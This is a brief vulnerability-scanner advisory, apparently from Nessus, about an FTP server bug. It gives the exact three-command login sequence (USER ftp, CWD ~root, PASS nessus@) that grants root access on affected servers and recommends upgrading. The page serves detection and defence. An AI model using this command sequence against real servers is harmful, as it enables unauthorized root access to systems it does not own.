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FTP CWD ~root Vulnerability Scan


Vulnerability Scan Summary
Attempts to get root privileges

Detailed Explanation for this Vulnerability Test
There is a bug in the FTP server
which allows anyone who issues the following commands
to be logged as root :
USER ftp
CWD ~root
PASS nessus@

Solution : Upgrade your FTP server to a newer version.

Threat Level: High

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